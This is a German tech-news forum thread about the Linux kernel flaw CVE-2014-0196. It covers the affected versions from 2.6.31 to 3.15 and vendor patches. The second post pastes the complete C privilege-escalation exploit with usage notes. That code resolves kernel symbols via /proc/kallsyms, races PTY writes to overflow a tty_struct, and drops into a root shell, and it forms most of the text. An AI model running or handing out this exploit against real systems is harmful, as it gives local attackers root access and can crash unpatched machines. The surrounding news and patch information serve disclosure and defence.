Linux kritische Sicherheitslücke: Kernel-Root-Exploit in 2.6.31 bis 3.15

Dieses Thema im Forum "Tech News" wurde erstellt von Carla Columna, 12. Mai 2014 .

  1. 12. Mai 2014
    Zuletzt von einem Moderator bearbeitet: 15. April 2017
    Eine kritische Sicherheitslücke im Linux-Kernel erlaubt es lokalen Angreifern an Root-Rechte zu kommen. Ein Exploit ist nun im Netz aufgetaucht und mach das Updaten von Linux unvermeidbar.

    Für die Sicherheitslücke (CVE-2014-0196) ist im Internet ein Exploit-Code aufgetaucht, der den Teil des Kernels, der virtuelle Terminals verwaltet mit einem lokaler Nutzer zum Pufferüberlauf bringt, um Root-Rechte zu erlangen. Betroffen sind alle Kernel-Versionen von 2.6.31-rc3 bis zur aktuellen Stable-Version 3.14.3 und der Mainline-Version bis einschließlich 3.15-rc5.

    root-exploit.jpg

    Der im Umlauf befindliche Exploit bringt laut des Entwicklers verwundbare Systeme häufig zum Absturz, deshalb könnte er auch für Lokale-DoS-Angriffe eingesetzt werden.

    Ubuntu und Fedora haben ihre Kernel-Pakete bereits vergangene Woche aktualisiert und sind nach einem Update nicht mehr verwundbar. Die Entwickler von Debian, Red Hat Entreprise Linux, (Open)Suse Linux (Enterprise) arbeiten noch an den Updates.

    Administratoren sollten den Benutzern die nicht unbedingt einen Terminal oder eine Shell benötigen diese sperren.
     
  2. 15. Mai 2014
    AW: Artikel: Linux kritische Sicherheitslücke: Kernel-Root-Exploit in 2.6.31 bis 3.15

    Hier der Exploit:

    Code:
    /*
     * CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race
     * condition
     *
     * Slightly-less-than-POC privilege escalation exploit
     * For kernels >= v3.14-rc1
     *
     * Matthew Daley <mattd@bugfuzz.com>
     *
     * Usage: 
     * $ gcc cve-2014-0196-md.c -lutil -lpthread
     * $ ./a.out
     * [+] Resolving symbols
     * [+] Resolved commit_creds: 0xffffffff81056694
     * [+] Resolved prepare_kernel_cred: 0xffffffff810568a7
     * [+] Doing once-off allocations
     * [+] Attempting to overflow into a tty_struct...............
     * [+] Got it :)
     * # id
     * uid=0(root) gid=0(root) groups=0(root)
     *
     * WARNING: The overflow placement is still less-than-ideal; there is a 1/4
     * chance that the overflow will go off the end of a slab. This does not
     * necessarily lead to an immediate kernel crash, but you should be prepared
     * for the worst (i.e. kernel oopsing in a bad state). In theory this would be
     * avoidable by reading /proc/slabinfo on systems where it is still available
     * to unprivileged users.
     *
     * Caveat: The vulnerability should be exploitable all the way from
     * v2.6.31-rc3, however relevant changes to the TTY subsystem were made in
     * commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer
     * GFP_ATOMIC memory consumption") that make exploitation simpler, which this
     * exploit relies on.
     *
     * Thanks to Jon Oberheide for his help on exploitation technique.
     */
    
    Code:
    #include <sys/stat.h>
    #include <sys/types.h>
    #include <fcntl.h>
    #include <pthread.h>
    #include <pty.h>
    #include <stdio.h>
    #include <string.h>
    #include <termios.h>
    #include <unistd.h>
    
    #define TTY_MAGIC 0x5401
    
    #define ONEOFF_ALLOCS 200
    #define RUN_ALLOCS 30
    
    struct device;
    struct tty_driver;
    struct tty_operations;
    
    typedef struct {
     int counter;
    } atomic_t;
    
    struct kref {
     atomic_t refcount;
    };
    
    struct tty_struct_header {
     int magic;
     struct kref kref;
     struct device *dev;
     struct tty_driver *driver;
     const struct tty_operations *ops;
    } overwrite;
    
    typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred);
    typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred);
    
    int master_fd, slave_fd;
    char buf[1024] = {0};
    commit_creds_fn commit_creds;
    prepare_kernel_cred_fn prepare_kernel_cred;
    
    int payload(void) {
     commit_creds(prepare_kernel_cred(0));
    
     return 0;
    }
    
    unsigned long get_symbol(char *target_name) {
     FILE *f;
     unsigned long addr;
     char dummy;
     char name[256];
     int ret = 0;
    
     f = fopen("/proc/kallsyms", "r");
     if (f == NULL)
     return 0;
    
     while (ret != EOF) {
     ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, name);
     if (ret == 0) {
     fscanf(f, "%s\n", name);
     continue;
     }
    
     if (!strcmp(name, target_name)) {
     printf("[+] Resolved %s: %p\n", target_name, (void *)addr);
    
     fclose(f);
     return addr;
     }
     }
    
     printf("[-] Couldn't resolve \"%s\"\n", name);
    
     fclose(f);
     return 0;
    }
    
    void *overwrite_thread_fn(void *p) {
     write(slave_fd, buf, 511);
    
     write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1));
     write(slave_fd, &overwrite, sizeof(overwrite));
    }
    
    int main() {
     char scratch[1024] = {0};
     void *tty_operations[64];
     int i, temp_fd_1, temp_fd_2;
    
     for (i = 0; i < 64; ++i)
     tty_operations[i] = payload;
    
     overwrite.magic = TTY_MAGIC;
     overwrite.kref.refcount.counter = 0x1337;
     overwrite.dev = (struct device *)scratch;
     overwrite.driver = (struct tty_driver *)scratch;
     overwrite.ops = (struct tty_operations *)tty_operations;
    
     puts("[+] Resolving symbols");
    
     commit_creds = (commit_creds_fn)get_symbol("commit_creds");
     prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred");
     if (!commit_creds || !prepare_kernel_cred)
     return 1;
    
     puts("[+] Doing once-off allocations");
    
     for (i = 0; i < ONEOFF_ALLOCS; ++i)
     if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) {
     puts("[-] pty creation failed");
     return 1;
     }
    
     printf("[+] Attempting to overflow into a tty_struct...");
     fflush(stdout);
    
     for (i = 0; ; ++i) {
     struct termios t;
     int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j;
     pthread_t overwrite_thread;
    
     if (!(i & 0xfff)) {
     putchar('.');
     fflush(stdout);
     }
    
     if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) {
     puts("\n[-] pty creation failed");
     return 1;
     }
    
     for (j = 0; j < RUN_ALLOCS; ++j)
     if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) {
     puts("\n[-] pty creation failed");
     return 1;
     }
    
     close(fds[RUN_ALLOCS / 2]);
     close(fds2[RUN_ALLOCS / 2]);
    
     write(slave_fd, buf, 1);
    
     tcgetattr(master_fd, &t);
     t.c_oflag &= ~OPOST;
     t.c_lflag |= ECHO;
     tcsetattr(master_fd, TCSANOW, &t);
    
     if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) {
     puts("\n[-] Overwrite thread creation failed");
     return 1;
     }
     write(master_fd, "A", 1);
     pthread_join(overwrite_thread, NULL);
    
     for (j = 0; j < RUN_ALLOCS; ++j) {
     if (j == RUN_ALLOCS / 2)
     continue;
    
     ioctl(fds[j], 0xdeadbeef);
     ioctl(fds2[j], 0xdeadbeef);
    
     close(fds[j]);
     close(fds2[j]);
     }
    
     ioctl(master_fd, 0xdeadbeef);
     ioctl(slave_fd, 0xdeadbeef);
    
     close(master_fd);
     close(slave_fd);
    
     if (!setresuid(0, 0, 0)) {
     setresgid(0, 0, 0);
    
     puts("\n[+] Got it :)");
     execl("/bin/bash", "/bin/bash", NULL);
     }
     }
    }
     
  3. 15. Mai 2014
    Debian hat jetzt auch ein Update rausgebracht, allerdings nur für den alten Kernel von Squeeze.
    DSA-2928-1 linux-2.6 -- privilege escalation/denial of service/information leak
    user-mode-linux 2.6.32-1um-4+48squeeze6
     
  4. Video Script

    Videos zum Themenbereich

    * gefundene Videos auf YouTube, anhand der Überschrift.